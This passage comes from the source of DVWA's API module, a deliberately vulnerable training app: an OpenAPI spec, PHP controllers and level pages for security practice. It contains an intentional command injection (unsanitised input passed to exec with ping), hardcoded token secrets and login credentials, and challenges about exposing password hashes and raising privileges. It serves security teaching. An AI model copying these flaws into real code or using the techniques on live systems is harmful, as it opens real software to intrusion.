'Login as user.'\n      operationId: login\n      requestBody:\n        description: 'The login credentials.'\n        content:\n          application/json:\n            schema:\n              $ref: '#/components/schemas/Credentials'\n      responses:\n        '200':\n          description: 'Successful operation.'\n        '401':\n          description: 'Invalid credentials.'\n  /vulnerabilities/api/v2/login/check_token:\n    post:\n      tags:\n        - login\n      description: 'Check a token is valid.'\n      operationId: check_token\n      requestBody:\n        description: 'The token to test.'\n        content:\n          application/json:\n            schema:\n              $ref: '#/components/schemas/Token'\n      responses:\n        '200':\n          description: 'Successful operation.'\n        '401':\n          description: 'Token is invalid.'\n  '/vulnerabilities/api/v2/order/{id}':\n    get:\n      tags:\n        - order\n      description: 'Get a order by ID.'\n      operationId: getOrderByID\n      parameters:\n        -\n          name: id\n          in: path\n          required: true\n          schema:\n            type: integer\n      responses:\n        '200':\n          description: 'Successful operation.'\n          content:\n            application/json:\n              schema:\n                $ref: '#/components/schemas/Order'\n        '404':\n          description: 'Order not found.'\n      security:\n        -\n          scalar: basicAuth\n    put:\n      tags:\n        - order\n      description: 'Update an order by ID.'\n      operationId: updateOrder\n      parameters:\n        -\n          name: id\n          in: path\n          required: true\n          schema:\n            type: integer\n      requestBody:\n        description: 'New order data.'\n        content:\n          application/json:\n            schema:\n              $ref: '#/components/schemas/OrderUpdate'\n      responses:\n        '200':\n          description: 'Successful operation.'\n          content:\n            application/json:\n              schema:\n                $ref: '#/components/schemas/Order'\n        '404':\n          description: 'Order not found'\n        '422':\n          description: 'Invalid order object provided'\n    delete:\n      tags:\n        - order\n      description: 'Delete order by ID.'\n      operationId: deleteOrderById\n      parameters:\n        -\n          name: id\n          in: path\n          required: true\n          schema:\n            type: integer\n      responses:\n        '200':\n          description: 'Successful operation.'\n        '404':\n          description: 'Order not found'\n  /vulnerabilities/api/v2/order/:\n    get:\n      tags:\n        - order\n      description: 'Get all orders.'\n      operationId: getOrders\n      responses:\n        '200':\n          description: 'Successful operation.'\n          content:\n            application/json:\n              schema:\n                type: array\n                items:\n                  $ref: '#/components/schemas/Order'\n    post:\n      tags:\n        - order\n      description: 'Create a new order.'\n      operationId: addOrder\n      requestBody:\n        description: 'Order data.'\n        content:\n          application/json:\n            schema:\n              $ref: '#/components/schemas/OrderAdd'\n      responses:\n        '200':\n          description: 'Successful operation.'\n          content:\n            application/json:\n              schema:\n                $ref: '#/components/schemas/Order'\n        '422':\n          description: 'Invalid order object provided'\n  '/vulnerabilities/api/v2/user/{id}':\n    get:\n      tags:\n        - user\n      description: 'Get a user by ID.'\n      operationId: getUserByID\n      parameters:\n        -\n          name: id\n          in: path\n          required: true\n          schema:\n            type: integer\n      responses:\n        '200':\n          description: 'Successful operation.'\n          content:\n            application/json:\n              schema:\n                $ref: '#/components/schemas/User'\n        '404':\n          description: 'User not found.'\n    put:\n      tags:\n        - user\n      description: 'Update a user by ID.'\n      operationId: updateUser\n      parameters:\n        -\n          name: id\n          in: path\n          required: true\n          schema:\n            type: integer\n      requestBody:\n        description: 'New user data.'\n        content:\n          application/json:\n            schema:\n              $ref: '#/components/schemas/UserUpdate'\n      responses:\n        '200':\n          description: 'Successful operation.'\n          content:\n            application/json:\n              schema:\n                $ref: '#/components/schemas/User'\n        '404':\n          description: 'User not found'\n        '422':\n          description: 'Invalid user object provided'\n    delete:\n      tags:\n        - user\n      description: 'Delete user by ID.'\n      operationId: deleteUserById\n      parameters:\n        -\n          name: id\n          in: path\n          required: true\n          schema:\n            type: integer\n      responses:\n        '200':\n          description: 'Successful operation.'\n        '404':\n          description: 'User not found'\n  /vulnerabilities/api/v2/user/:\n    get:\n      tags:\n        - user\n      description: 'Get all users.'\n      operationId: getUsers\n      responses:\n        '200':\n          description: 'Successful operation.'\n          content:\n            application/json:\n              schema:\n                type: array\n                items:\n                  $ref: '#/components/schemas/User'\n    post:\n      tags:\n        - user\n      description: 'Create a new user.'\n      operationId: addUser\n      requestBody:\n        description: 'User data.'\n        content:\n          application/json:\n            schema:\n              $ref: '#/components/schemas/UserAdd'\n      responses:\n        '200':\n          description: 'Successful operation.'\n          content:\n            application/json:\n              schema:\n                $ref: '#/components/schemas/User'\n        '422':\n          description: 'Invalid user object provided'\ncomponents:\n  schemas:\n    Target:\n      required:\n        - target\n      properties:\n        target:\n          type: string\n          example: digi.ninja\n      type: object\n    Words:\n      required:\n        - words\n      properties:\n        words:\n          type: string\n          example: 'Hello World'\n      type: object\n    Credentials:\n      required:\n        - username\n        - password\n      properties:\n        username:\n          type: string\n          example: user\n        password:\n          type: string\n          example: password\n      type: object\n    Order:\n      properties:\n        id:\n          type: integer\n          example: 1\n        name:\n          type: string\n          example: 'Tony Hart'\n        address:\n          type: string\n          example: 'BBC Television Centre, London W3 6XZ'\n        items:\n          type: string\n          example: '1 * brush, 2 * paints, 1 * easel'\n        status:\n          type: integer\n          example: 1\n      type: object\n    OrderAdd:\n      required:\n        - level\n        - name\n      properties:\n        name:\n          type: string\n          example: fred\n        address:\n          type: string\n          example: '1 High Street, Atown'\n        items:\n          type: string\n          example: '2 * brushes'\n      type: object\n    OrderUpdate:\n      properties:\n        name:\n          type: string\n          example: fred\n        address:\n          type: string\n          example: '1 High Street, Atown'\n        items:\n          type: string\n          example: '2 * brushes'\n      type: object\n    Token:\n      required:\n        - token\n      properties:\n        token:\n          type: string\n          example: '11111'\n      type: object\n    User:\n      properties:\n        id:\n          type: integer\n          example: 1\n        name:\n          type: string\n          example: fred\n        level:\n          type: integer\n          example: 1\n      type: object\n    UserAdd:\n      required:\n        - level\n        - name\n      properties:\n        name:\n          type: string\n          example: fred\n        level:\n          type: integer\n          example: 1\n      type: object\n    UserUpdate:\n      required:\n        - name\n      properties:\n        name:\n          type: string\n          example: fred\n      type: object\n  securitySchemes:\n    http:\n      type: http\n      name: authorization\ntags:\n  -\n    name: user\n    description: 'User operations.'\n  -\n    name: health\n    description: 'Health operations.'\n  -\n    name: order\n    description: 'Order operations.'\n  -\n    name: login\n    description: 'Login operations.'\n"
  },
  {
    "path": "vulnerabilities/api/public/index.php",
    "content": "<?php\n\nrequire '../bootstrap.php';\nuse Src\\UserController;\nuse Src\\HealthController;\nuse Src\\GenericController;\nuse Src\\OrderController;\nuse Src\\LoginController;\nuse Src\\Helpers;\n\nheader(\"Access-Control-Allow-Origin: *\");\nheader(\"Content-Type: application/json; charset=UTF-8\");\nheader(\"Access-Control-Allow-Methods: OPTIONS,GET,POST,PUT,DELETE\");\nheader(\"Access-Control-Max-Age: 3600\");\nheader(\"Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With\");\n\n$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);\n$uri = explode( '/', $uri );\n\n# As DVWA can be installed in any directory, this works out where\n# the API is so we know the base to start from.\n\n$local_uri = array();\nforeach ($uri as $pos => $dir) {\n\tif ($dir == \"order\" || $dir == \"user\" || $dir == \"health\" || $dir == \"login\") {\n\t\t$local_uri = array_slice ($uri, $pos - 1);\n\t\tbreak;\n\t}\n}\n\n// All of our endpoints start with /api/v[0-9]\n// everything else results in a 404 Not Found\n\nif (count($local_uri) < 2) {\n\theader(\"HTTP/1.1 404 Not Found\");\n\texit();\n}\n\n$requestMethod = $_SERVER[\"REQUEST_METHOD\"];\n\n$version = $local_uri[0];\n\nif (preg_match (\"/v([0-9]*)/\", $version, $matches)) {\n\t$version = intval ($matches[1]);\n} else {\n\theader(\"HTTP/1.1 404 Not Found\");\n\texit();\n}\n$controller = $local_uri[1];\n\nswitch ($controller) {\n\tcase \"order\":\n\t\t// the user id is, of course, optional and must be a number:\n\t\t$orderId = null;\n\t\tif (isset($local_uri[2]) && $local_uri[2] != \"\") {\n\t\t\t$orderId = intval($local_uri[2]);\n\t\t}\n\n\t\t// pass the request method and order ID to the OrderController and process the HTTP request:\n\t\t$controller = new OrderController($requestMethod, $version, $orderId);\n\t\t$controller->processRequest();\n\t\tbreak;\n\tcase \"user\":\n\t\t// the user id is, of course, optional and must be a number:\n\t\t$userId = null;\n\t\tif (isset($local_uri[2])) {\n\t\t\t$userId = (int) $local_uri[2];\n\t\t}\n\n\t\t// pass the request method and user ID to the UserController and process the HTTP request:\n\t\t$controller = new UserController($requestMethod, $version, $userId);\n\t\t$controller->processRequest();\n\t\tbreak;\n\tcase \"health\":\n\t\tif (!isset($local_uri[2])) {\n\t\t\t$gc = new GenericController(\"notFound\");\n\t\t\t$gc->processRequest();\n\t\t\tbreak;\n\t\t}\n\n\t\t$command = $local_uri[2];\n\t\t$controller = new HealthController($requestMethod, $version, $command);\n\t\t$controller->processRequest();\n\t\tbreak;\n\tcase \"login\":\n\t\tif (!isset($local_uri[2])) {\n\t\t\t$gc = new GenericController(\"notFound\");\n\t\t\t$gc->processRequest();\n\t\t\tbreak;\n\t\t}\n\n\t\t$command = $local_uri[2];\n\t\t$controller = new LoginController($requestMethod, $version, $command);\n\t\t$controller->processRequest();\n\t\tbreak;\n\tdefault:\n\t\t$gc = new GenericController(\"notFound\");\n\t\t$gc->processRequest();\n\t\tbreak;\n}\n"
  },
  {
    "path": "vulnerabilities/api/source/high.php",
    "content": "<?php\n\n$message = \"\";\n\n$html .= \"\n\t<p>\n\t\tHere is the <a href='openapi.yml'>OpenAPI</a> document, have a look the health functions and see if you can find one that has a vulnerability.\n\t</p>\n\t<p>\n\t\tNote, this file assumes you are running DVWA out of the document root, if you have installed it into a subdirectory, such as DVWA, then you will need to update it. Look through the file for the paths, e.g.<br><br>\n\t\t<i>/vulnerabilities/api/v2/health/echo</i><br><br>\n\t\tand prepend your directory, so if you are in the DVWA directory you would change it to<br><br>\n\t\t<i>/DVWA/vulnerabilities/api/v2/health/echo</i>\n\t</p>\n\t<p>\n\t\tYou might be able to work out how to call the individual functions by hand, but it would be a lot easier to import it into an application such as <a href='https://swagger.io/tools/swagger-ui/'>Swagger UI</a>, <a href='https://portswigger.net/bappstore/6bf7574b632847faaaa4eb5e42f1757c'>Burp</a>, <a href='https://www.zaproxy.org/docs/desktop/addons/openapi-support/'>ZAP</a>, or <a href='https://www.postman.com/'>Postman</a> and let the tool do the hard work of setting the requests up for you.\n\t</p>\n\";\n\n?>\n"
  },
  {
    "path": "vulnerabilities/api/source/impossible.php",
    "content": "<?php\n\n$message = \"\";\n\n$html .= \"\n\t<p>\n\t\tRather than try to develop a perfect API, there is a different type of challenge for this level.\n\t</p>\n\t<p>\n\t\tThe order system uses <a href='https://oauth.net/2/'>OAuth 2.0</a> for authentication. Being able to automate using this in your tools will greatly help with efficiency, removing the need to manually login and copy access tokens around. Use this level to practice setting up OAuth 2.0 in your testing tool of choice, for me this is <a href='https://www.postman.com/'>Postman</a> which is then proxied through <a href='https://portswigger.net/burp'>Burp</a>, but you can pick whatever tools are most appropriate for your testing environment.\n\t</p>\n\t<p>\n\t\tHere are some guides that might help:\n</p>\n<ul>\n<li><a href='https://learning.postman.com/docs/sending-requests/authorization/oauth-20/'>Authenticate with OAuth 2.0 authentication in Postman</a></li>\n<li><a href='https://blog.postman.com/what-is-oauth-2-0/'>What is OAuth 2.0?</a></li>\n</ul>\n\n\";\n\n?>\n"
  },
  {
    "path": "vulnerabilities/api/source/low.php",
    "content": "<?php\n$errors = \"\";\n$success = \"\";\n$messages = \"\";\n\nif ($_SERVER['REQUEST_METHOD'] == \"POST\") {\n}\n\n$request_url = $_SERVER['REQUEST_URI'];\n$stripped_url = str_replace (\"/vulnerabilities/api/\", \"\", $request_url);\n\n$html .= \"\n<p>\n\tVersioning is important in APIs, running multiple versions of an API can allow for backward compatibility and can allow new services to be added without affecting existing users. The downside to keeping old versions alive is when those older versions contain vulnerabilities.\n</p>\n\";\n\n$html .= \"\n<script>\n\tfunction update_username(user_json) {\n\t\tconsole.log(user_json);\n\t\tvar user_info = document.getElementById ('user_info');\n\t\tvar name_input = document.getElementById ('name');\n\n\t\tif (user_json.name == '') {\n\t\t\tuser_info.innerHTML = 'User details: unknown user';\n\t\t\tname_input.value = 'unknown';\n\t\t} else {\n\t\t\tif (user_json.level == 0) {\n\t\t\t\tlevel = 'admin';\n\t\t\t} else {\n\t\t\t\tlevel = 'user';\n\t\t\t}\n\t\t\tuser_info.innerHTML = 'User details: ' + user_json.name + ' (' + level + ')';\n\t\t\tname_input.value = user_json.name;\n\t\t}\n\n\t\tconst message_line = document.getElementById ('message');\n\t\tif (user_json.id == 2 && user_json.level == 0) {\n\t\t\tmessage_line.style.display = 'block';\n\t\t} else {\n\t\t\tmessage_line.style.display = 'none';\n\t\t}\n\t}\n\n\tfunction get_users() {\n\t\tconst url = '\" . $stripped_url . \"/vulnerabilities/api/v2/user/';\n\t\t \n\t\tfetch(url, { \n\t\t\t\tmethod: 'GET',\n\t\t\t}) \n\t\t\t.then(response => { \n\t\t\t\tif (!response.ok) { \n\t\t\t\t\tthrow new Error('Network response was not ok'); \n\t\t\t} \n\t\t\treturn response.json(); \n\t\t\t}) \n\t\t\t.then(data => { \n\t\t\t\tloadTableData(data);\n\t\t\t}) \n\t\t\t.catch(error => { \n\t\t\t\tconsole.error('There was a problem with your fetch operation:', error); \n\t\t}); \n\t}\n\n\tHTMLTableRowElement.prototype.insert_th_Cell = function(index) {\n\t\tlet cell = this.insertCell(index)\n\t\t, c_th = document.createElement('th');\n\t\tcell.replaceWith(c_th);\n\t\treturn c_th;\n\t}\n\n\tfunction loadTableData(items) {\n\t\tconst table = document.getElementById('table');\n\t\tconst tableHead = table.createTHead();\n\t\tconst row = tableHead.insertRow(0);\n\n\t\titem = items[0];\n\t\tObject.keys(item).forEach(function(k){\n\t\t\tlet cell = row.insert_th_Cell(-1);\n\t\t\tcell.innerHTML = k;\n\t\t\tif (k == 'password') {\n\t\t\t\tsuccessDiv = document.getElementById ('message');\n\t\t\t\tsuccessDiv.style.display = 'block';\n\t\t\t}\n\t\t});\n\n\t\tconst tableBody = document.getElementById('tableBody');\n\n\t\titems.forEach( item => {\n\t\t\tlet row = tableBody.insertRow();\n\t\t\tfor (const [key, value] of Object.entries(item)) {\n\t\t\t\tlet cell = row.insertCell(-1);\n\t\t\t\tcell.innerHTML = value;\n\t\t\t}\n\t\t});\n\t}\n\t</script>\n\";\n\n$html .= \"\n\n<table id='table' class=''>\n  <thead>\n    <tr id='tableHead'>\n    </tr>\n  </thead>\n  <tbody id='tableBody'></tbody>\n</table>\n\n\n\t\t<p>\n\t\t\tLook at the call used to create this table and see if you can exploit it to return some additional information.\n\t\t</p>\n\t\t<div class='success' style='display:none' id='message'>Well done, you found the password hashes.</div>\n\t\t<script>\n\t\t\tget_users();\n\t\t</script>\n\";\n\n?>\n"
  },
  {
    "path": "vulnerabilities/api/source/medium.php",
    "content": "<?php\n\n$request_url = $_SERVER['REQUEST_URI'];\n$stripped_url = str_replace (\"/vulnerabilities/api/\", \"\", $request_url);\n\n$html .= \"\n\t<script>\n\t\tfunction update_username(user_json) {\n\t\t\tconsole.log(user_json);\n\t\t\tvar user_info = document.getElementById ('user_info');\n\t\t\tvar name_input = document.getElementById ('name');\n\n\t\t\tif (user_json.name == '') {\n\t\t\t\tuser_info.innerHTML = 'User details: unknown user';\n\t\t\t\tname_input.value = 'unknown';\n\t\t\t} else {\n\t\t\t\tvar level = 'unknown';\n\t\t\t\tif (user_json.level == 0) {\n\t\t\t\t\tlevel = 'admin';\n\t\t\t\t\tsuccessDiv = document.getElementById ('message');\n\t\t\t\t\tsuccessDiv.style.display = 'block';\n\t\t\t\t} else {\n\t\t\t\t\tlevel = 'user';\n\t\t\t\t}\n\t\t\t\tuser_info.innerHTML = 'User details: ' + user_json.name + ' (' + level + ')';\n\t\t\t\tname_input.value = user_json.name;\n\t\t\t}\n\t\t}\n\n\t\tfunction get_user() {\n\t\t\tconst url = '\" . $stripped_url . \"/vulnerabilities/api/v2/user/2';\n\t\t\t \n\t\t\tfetch(url, { \n\t\t\t\t\tmethod: 'GET',\n\t\t\t\t}) \n\t\t\t\t.then(response => { \n\t\t\t\t\tif (!response.ok) { \n\t\t\t\t\t\tthrow new Error('Network response was not ok'); \n\t\t\t\t} \n\t\t\t\treturn response.json(); \n\t\t\t\t}) \n\t\t\t\t.then(data => { \n\t\t\t\t\tupdate_username (data);\n\t\t\t\t}) \n\t\t\t\t.catch(error => { \n\t\t\t\t\tconsole.error('There was a problem with your fetch operation:', error); \n\t\t\t}); \n\t\t}\n\n\t\tfunction update_name() {\n\t\t\tconst url = '\" . $stripped_url . \"/vulnerabilities/api/v2/user/2';\n\t\t\tconst name = document.getElementById ('name').value;\n\t\t\tconst data = JSON.stringify({name: name});\n\t\t\t \n\t\t\tfetch(url, { \n\t\t\t\t\tmethod: 'PUT', \n\t\t\t\t\theaders: { \n\t\t\t\t\t\t'Content-Type': 'application/json' \n\t\t\t\t\t}, \n\t\t\t\t\tbody: data\n\t\t\t\t}) \n\t\t\t\t.then(response => { \n\t\t\t\t\tif (!response.ok) { \n\t\t\t\t\t\tthrow new Error('Network response was not ok'); \n\t\t\t\t} \n\t\t\t\treturn response.json(); \n\t\t\t\t}) \n\t\t\t\t.then(data => { \n\t\t\t\t\tupdate_username(data);\n\t\t\t\t}) \n\t\t\t\t.catch(error => { \n\t\t\t\t\tconsole.error('There was a problem with your fetch operation:', error); \n\t\t\t}); \n\t\t}\n\t</script>\n\";\n\n$html .= \"\n\t\t<p>\n\t\t\tLook at the call used to update your name and exploit it to elevate your user to admin (level 0).\n\t\t</p>\n\t\t<p id='user_info'></p>\n\t\t<form method='post' action=\\\"\" . $_SERVER['PHP_SELF'] . \"\\\">\n\t\t\t<p>\n\t\t\t\t<label for='name'>Name</label>\n\t\t\t\t<input type='text' value='' name='name' id='name'>\n\t\t\t</p>\n\t\t\t<p>\n\t\t\t\t<input type=\\\"button\\\" value=\\\"Submit\\\" onclick='update_name();'>\n\t\t\t</p>\n\t\t</form>\n\t\t<div class='success' style='display:none' id='message'>Well done, you elevated your user to admin.</div>\n\t\t<script>\n\t\t\tget_user();\n\t\t</script>\n\";\n\n?>\n"
  },
  {
    "path": "vulnerabilities/api/src/GenericController.php",
    "content": "<?php\n\n# Start the app with:\n#\n# php -S localhost:8000 -t public\n\nnamespace Src;\n\nuse OpenApi\\Attributes as OAT;\n\nclass GenericController\n{\n\tprivate $command = null;\n\tprivate $requestMethod = \"GET\";\n\n\tpublic function __construct($command) {\n\t\t$this->command = $command;\n\t}\n\n\tprivate function optionsResponse() {\n\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t$response['body'] = null;\n\t\treturn $response;\n\t}\n\n    private function unprocessableEntityResponse()\n    {\n        $response['status_code_header'] = 'HTTP/1.1 422 Unprocessable Entity';\n        $response['body'] = json_encode([\n            'error' => 'Invalid input'\n        ]);\n        return $response;\n    }\n\n\tprivate function notFoundResponse() {\n\t\t$response['status_code_header'] = 'HTTP/1.1 404 Not Found';\n\t\t$response['body'] = null;\n\t\treturn $response;\n\t}\n\t\n\tprivate function methodNotSupported() {\n\t\t$response['status_code_header'] = 'HTTP/1.1 405 Method Not Supported';\n\t\t$response['body'] = null;\n\t\treturn $response;\n\t}\n\n\tprivate function teapotResponse() {\n\t\t$response['status_code_header'] = \"HTTP/1.1 418 I'm a teapot\";\n\t\t$response['body'] = null;\n\t\treturn $response;\n\t}\n\n\tpublic function processRequest() {\n\t\tswitch ($this->command) {\n\t\t\tcase \"teapot\":\n\t\t\t\t$response = $this->teapotResponse();\n\t\t\t\tbreak;\n\t\t\tcase \"notfound\":\n\t\t\t\t$response = $this->notFoundResponse();\n\t\t\t\tbreak;\n\t\t\tcase \"notSupported\":\n\t\t\t\t$response = $this->methodNotSupported();\n\t\t\t\tbreak;\n\t\t\tcase \"unprocessable\":\n\t\t\t\t$response = $this->unprocessableEntityResponse();\n\t\t\t\tbreak;\n\t\t\tcase \"options\":\n\t\t\t\t$response = $this->optionsResponse();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$response = $this->notFoundResponse();\n\t\t\t\tbreak;\n\t\t};\n\t\theader($response['status_code_header']);\n\t\tif ($response['body']) {\n\t\t\techo $response['body'];\n\t\t}\n\t\texit();\n\t}\n}\n"
  },
  {
    "path": "vulnerabilities/api/src/HealthController.php",
    "content": "<?php\n\n# Start the app with:\n#\n# php -S localhost:8000 -t public\n\nnamespace Src;\n\nuse OpenApi\\Attributes as OAT;\n\nclass HealthController\n{\n\tprivate $command = null;\n\tprivate $requestMethod = \"GET\";\n\n\tpublic function __construct($requestMethod, $version, $command) {\n\t\t$this->requestMethod = $requestMethod;\n\t\t$this->command = $command;\n\t}\n\n    #[OAT\\Post(\n\t\ttags: [\"health\"],\n        path: '/vulnerabilities/api/v2/health/echo',\n        operationId: 'echo',\n\t\tdescription: 'Echo, echo, cho, cho, o o ....',\n        parameters: [\n                new OAT\\RequestBody (\n\t\t\t\t\tdescription: 'Your words.',\n                    content: new OAT\\MediaType(\n                        mediaType: 'application/json',\n                        schema: new OAT\\Schema(ref: Words::class)\n                    )\n                ),\n\n        ],\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n            ),\n        ]\n    )   \n    ]\n\t\n\tprivate function echo() {\n\t\t$input = (array) json_decode(file_get_contents('php://input'), TRUE);\n\t\tif (array_key_exists (\"words\", $input)) {\n\t\t\t$words = $input['words'];\n\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t\t$response['body'] = json_encode (array (\"reply\" => $words));\n\t\t} else {\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 500 Internal Server Error';\n\t\t\t$response['body'] = json_encode (array (\"status\" => \"Words not specified\"));\n\t\t}\n\t\treturn $response;\n\t}\n\n    #[OAT\\Post(\n\t\ttags: [\"health\"],\n        path: '/vulnerabilities/api/v2/health/connectivity',\n        operationId: 'checkConnectivity',\n\t\tdescription: 'The server occasionally loses connectivity to other systems and so this can be used to check connectivity status.',\n        parameters: [\n                new OAT\\RequestBody (\n\t\t\t\t\tdescription: 'Remote host.',\n                    content: new OAT\\MediaType(\n                        mediaType: 'application/json',\n                        schema: new OAT\\Schema(ref: Target::class)\n                    )\n                ),\n\n        ],\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n            ),\n        ]\n    )   \n    ]\n\t\n\tprivate function checkConnectivity() {\n\t\t$input = (array) json_decode(file_get_contents('php://input'), TRUE);\n\t\tif (array_key_exists (\"target\", $input)) {\n\t\t\t$target = $input['target'];\n\n\t\t\texec (\"ping -c 4 \" . $target, $output, $ret_var);\n\n\t\t\tif ($ret_var == 0) {\n\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"OK\"));\n\t\t\t} else {\n\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 500 Internal Server Error';\n\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"Connection failed\"));\n\t\t\t}\n\t\t} else {\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 500 Internal Server Error';\n\t\t\t$response['body'] = json_encode (array (\"status\" => \"Target not specified\"));\n\t\t}\n\t\treturn $response;\n\t}\n\n    #[OAT\\Get(\n\t\ttags: [\"health\"],\n        path: '/vulnerabilities/api/v2/health/status',\n        operationId: 'getHealthStatus',\n\t\tdescription: 'Get the health of the system.',\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n            ),\n        ]\n    )   \n    ]\n\t\n\tprivate function getStatus() {\n\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t$response['body'] = json_encode (array (\"status\" => \"OK\"));\n\t\treturn $response;\n\t}\n\n    #[OAT\\Get(\n\t\ttags: [\"health\"],\n        path: '/vulnerabilities/api/v2/health/ping',\n        operationId: 'ping',\n\t\tdescription: 'Simple ping/pong to check connectivity.',\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n            ),\n        ]\n    )   \n    ]\n\tprivate function ping() {\n\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t$response['body'] = json_encode (array (\"Ping\" => \"Pong\"));\n\t\treturn $response;\n\t}\n\n\tpublic function processRequest() {\n\t\tswitch ($this->requestMethod) {\n\t\t\tcase 'POST':\n\t\t\t\tswitch ($this->command) {\n\t\t\t\t\tcase \"echo\":\n\t\t\t\t\t\t$response = $this->echo();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"connectivity\":\n\t\t\t\t\t\t$response = $this->checkConnectivity();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$gc = new GenericController(\"notFound\");\n\t\t\t\t\t\t$gc->processRequest();\n\t\t\t\t\t\texit();\n\t\t\t\t};\n\t\t\t\tbreak;\n\t\t\tcase 'GET':\n\t\t\t\tswitch ($this->command) {\n\t\t\t\t\tcase \"status\":\n\t\t\t\t\t\t$response = $this->getStatus();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"ping\":\n\t\t\t\t\t\t$response = $this->ping();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$gc = new GenericController(\"notFound\");\n\t\t\t\t\t\t$gc->processRequest();\n\t\t\t\t\t\texit();\n\t\t\t\t};\n\t\t\t\tbreak;\n\t\t\tcase 'OPTIONS':\n\t\t\t\t$gc = new GenericController(\"options\");\n\t\t\t\t$gc->processRequest();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$gc = new GenericController(\"notSupported\");\n\t\t\t\t$gc->processRequest();\n\t\t\t\tbreak;\n\t\t}\n\t\theader($response['status_code_header']);\n\t\tif ($response['body']) {\n\t\t\techo $response['body'];\n\t\t}\n\t}\n}\n\n#[OAT\\Schema(required: ['target'])]\nfinal class Target {\n    #[OAT\\Property(example: \"digi.ninja\")]\n    public string $target;\n}\n\n#[OAT\\Schema(required: ['words'])]\nfinal class Words {\n    #[OAT\\Property(example: \"Hello World\")]\n    public string $words;\n}\n\n"
  },
  {
    "path": "vulnerabilities/api/src/Helpers.php",
    "content": "<?php\n\nnamespace Src;\n\nclass Helpers {\n\tpublic static function check_content_type() {\n\t\tif (array_key_exists (\"CONTENT_TYPE\", $_SERVER) && $_SERVER['CONTENT_TYPE'] == \"application/json\") {\n\t\t\treturn true;\n\t\t} else {\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 415 Unsupported Media Type';\n\t\t\t$response['body'] = json_encode (array (\"status\" => \"Invalid content type, expected JSON\"));\n\t\t\treturn $response;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "vulnerabilities/api/src/Login.php",
    "content": "<?php\n\nnamespace Src;\n\nuse OpenApi\\Attributes as OAT;\n\nclass Login\n{\n\tprivate const ACCESS_TOKEN_LIFE = 180;\n\tprivate const ACCESS_TOKEN_SECRET = \"12345\";\n\tprivate const REFRESH_TOKEN_LIFE = 240;\n\tprivate const REFRESH_TOKEN_SECRET = \"98765\";\n\t\n\tpublic static function create_token() {\n\t\t$now = time();\n\t\t$tokenObj = new Token();\n\t\t$token = json_encode (array (\n\t\t\t\"access_token\" => $tokenObj->create_token(self::ACCESS_TOKEN_SECRET, $now + self::ACCESS_TOKEN_LIFE),\n\t\t\t\"refresh_token\" => $tokenObj->create_token(self::REFRESH_TOKEN_SECRET, $now + self::REFRESH_TOKEN_LIFE),\n\t\t\t\"token_type\" => \"bearer\",\n\t\t\t\"expires_in\" => self::ACCESS_TOKEN_LIFE)\n\t\t);\n\t\treturn $token;\n\t}\n\n\tpublic static function check_access_token($token) {\n\t\t$tokenObj = new Token();\n\t\t$decrypted = $tokenObj->decrypt_token ($token);\n\n\t\tif ($decrypted === false) {\n\t\t\treturn false;\n\t\t}\n\t\tif ($decrypted['secret'] == self::ACCESS_TOKEN_SECRET && $decrypted['expires'] > time()) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\tpublic static function check_refresh_token($token) {\n\t\t$tokenObj = new Token();\n\t\t$decrypted = $tokenObj->decrypt_token ($token);\n\n\t\tif ($decrypted['secret'] == self::REFRESH_TOKEN_SECRET && $decrypted['expires'] > time()) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n}\n"
  },
  {
    "path": "vulnerabilities/api/src/LoginController.php",
    "content": "<?php\n\nnamespace Src;\n\nuse OpenApi\\Attributes as OAT;\n\nclass LoginController\n{\n\tprivate $command = null;\n\tprivate $requestMethod = \"GET\";\n\n\tpublic function __construct($requestMethod, $version, $command) {\n\t\t$this->requestMethod = $requestMethod;\n\t\t$this->command = $command;\n\t}\n\n\t#\n\t# Add one of these for refresh\n\t#\n    #[OAT\\Post(\n\t\ttags: [\"login\"],\n        path: '/vulnerabilities/api/v2/login/login',\n        operationId: 'login',\n\t\tdescription: 'Login as user.',\n        parameters: [\n                new OAT\\RequestBody (\n\t\t\t\t\tdescription: 'The login credentials.',\n                    content: new OAT\\MediaType(\n                        mediaType: 'application/json',\n                        schema: new OAT\\Schema(ref: Credentials::class)\n                    )\n                ),\n\n        ],\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n            ),\n            new OAT\\Response(\n                response: 401,\n                description: 'Invalid credentials.',\n            ),\n        ]\n    )   \n    ]\n\n\tprivate function loginJSON() {\n\t\t$ret = Helpers::check_content_type();\n\t\tif ($ret !== true) {\n\t\t\treturn $ret;\n\t\t}\n\n\t\t$input = (array) json_decode(file_get_contents('php://input'), TRUE);\n\t\tif (array_key_exists (\"username\", $input) && \n\t\t\tarray_key_exists (\"password\", $input)) {\n\t\t\t$username = $input['username'];\n\t\t\t$password = $input['password'];\n\n\t\t\tif ($username == \"mrbennett\" && $password == \"becareful\") {\n\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 200 